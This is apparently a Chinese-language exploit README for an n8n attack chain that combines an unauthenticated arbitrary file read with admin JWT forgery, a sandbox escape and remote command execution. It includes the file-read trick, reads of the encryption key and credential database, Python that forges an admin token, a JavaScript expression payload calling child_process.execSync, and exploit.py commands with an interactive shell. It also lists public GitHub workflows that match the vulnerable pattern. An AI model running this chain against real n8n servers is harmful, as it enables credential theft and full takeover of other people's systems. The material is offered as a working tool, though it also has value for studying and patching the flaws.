未认证任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → 远程代码执行
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9(严重) |
| 受影响版本 | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| 修复版本 | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| 披露时间 | 2026-01-07 11:09 UTC |
| 代号 | Ni8mare |
| 致谢 | Dor Attias (Cyera) |
| 漏洞利用 | Chocapikk |
| 过程 | AI 自动化:补丁对比 → 复现 → 实验环境 → 漏洞利用(披露后约 9 小时) |
| 类型 | 概念验证 - 并非通用漏洞利用(需要特定的工作流配置,参见局限性) |
n8n 上的完整未认证 RCE 攻击链:
暴露面基于版本判断。在暴露面上,存在可公开访问的易受攻击的 n8n 实例。
LeakIX 结果: 查看已暴露实例
该漏洞利用是独立于 Cyera 分析文章 开发的(在完成后才发现)。主要区别:
两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,本漏洞利用需要带 Respond 节点的表单。详见局限性。
┌───────────────────────────────────────────────────────────┐
│ 未认证状态 │
├───────────────────────────────────────────────────────────┤
│ 1. 读取 /proc/self/environ → 查找 HOME 目录 │
│ 2. 读取 $HOME/.n8n/config → 获取 encryptionKey │
│ 3. 读取 $HOME/.n8n/database.sqlite → 获取管理员凭证 │
├───────────────────────────────────────────────────────────┤
│ 令牌伪造 │
├───────────────────────────────────────────────────────────┤
│ 4. 由 encryptionKey 推导 JWT 密钥 │
│ 5. 伪造管理员会话 Cookie │
├───────────────────────────────────────────────────────────┤
│ 认证后 RCE │
├───────────────────────────────────────────────────────────┤
│ 6. 创建带表达式注入的工作流 │
│ 7. 通过 this.process.mainModule.require 绕过沙箱 │
│ 8. 执行任意命令 │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
传说中的 "Merge commit from fork" - 当你看到这个时,说明有人发现了刺激的东西。🌶️
// 修复前(存在漏洞)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// 修复后
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
发送 Content-Type: application/json → 控制 filepath → 读取任意文件。
n8n 使用 vm2/isolated-vm 对用户代码(Code 节点、表达式)进行沙箱隔离。其他 RCE 途径:
| 技术 | 状态 |
|---|---|
| Execute Command 节点 | 默认禁用(N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP 节点 | 在远程服务器上执行,而非 n8n 主机 |
我采用表达式注入,因为它在任何默认配置的 n8n 上都能生效 - 不需要特殊的节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python Code 节点,而该节点可能并非所有实例都可用。
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n 表达式可以访问 this.process.mainModule.require → 完全逃逸沙箱。
# JWT 密钥推导
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT 哈希
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# 伪造令牌
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# 等待约 60 秒完成初始化
# 表单: http://localhost:5678/form/vulnerable-form
# 凭证: [email protected] / ExploitLab123!
# 读取任意文件
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# 完整攻击链 + 命令执行
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# 交互式 Shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链 ║
║ 任意文件读取 → 令牌伪造 → 沙箱逃逸 → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] 目标: http://localhost:5678/form/vulnerable-form
[*] 版本: 1.65.0 (存在漏洞)
[x] HOME 目录
[+] HOME 目录: /root
[x] 加密密钥
[+] 加密密钥: yusrXZV1...
[x] 数据库
[+] 数据库: 1327104 字节
[x] 管理员用户
[+] 管理员用户: [email protected]
[x] 令牌伪造
[+] 令牌伪造: OK
[x] 管理员访问
[+] 管理员访问: 已授予!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
这不是一个"通杀所有 n8n"的漏洞利用。 它需要满足特定条件才能生效:
| 要求 | 说明 |
|---|---|
| 带文件上传的表单 | 目标必须有一个包含文件上传字段的表单工作流 |
| Respond to Webhook 节点 | 工作流必须在 HTTP 响应中返回文件内容 |
| 工作流已激活 | 表单工作流必须处于激活状态 |
存在漏洞的工作流配置示例:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
关键要素是:fieldType: "file" + respondWith: "binary"。这种模式在文件处理工作流(转换器、图片缩放器、文档处理器)中很常见。
适用场景:
不适用场景:
注意: 漏洞(任意文件读取)无论使用何种外传方式都会被触发。Respond 节点只是获取内容的一种方式。替代方法(OOB、其他输出节点)可能取决于工作流配置而生效。
盲利用: 如果不存在 Respond 节点,n8n 仍然会读取文件,但无法通过 HTTP 响应外传。需要替代技术(OOB、时序)才能利用。
存在漏洞的模式(Form Trigger + 文件上传 + Respond to Webhook)存在于公开的 GitHub 仓库中。
注意: 热门的 n8n 工作流仓库(>100⭐)不使用此模式。以下为社区/个人项目:
这些是社区贡献的工作流。没有官方 n8n.io 模板使用这种存在漏洞的模式。
| Cyera(原始研究) | 本漏洞利用 |
|---|
| 文件读取 | 加载到 AI 知识库 → 通过聊天查询 | 直接通过 HTTP 响应 |
| 前置条件 | 聊天工作流 + AI 集成 | 任意带文件上传的表单 |
| RCE 方法 | "Execute Command" 节点(默认禁用) | 表达式注入(默认安装即可用) |
| 自动化 | 手动/概念演示 | 全自动 Python 脚本 |
| Pyodide 沙箱逃逸 |
| CVE-2025-68668 - 需要 Python Code 节点 |
| 表达式注入 | CVE-2025-68613 - 默认安装即可利用 |
| 未认证访问 | 表单必须可公开访问(无认证) |
| 工作流文件 | 文件字段 | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | File Upload | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Audio File | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Upload your document | default |
| learn_earn_ai_insta/.../My workflow.json | upload your file | default |
| finintworkshop/.../API using n8n (ToT).json | file | json |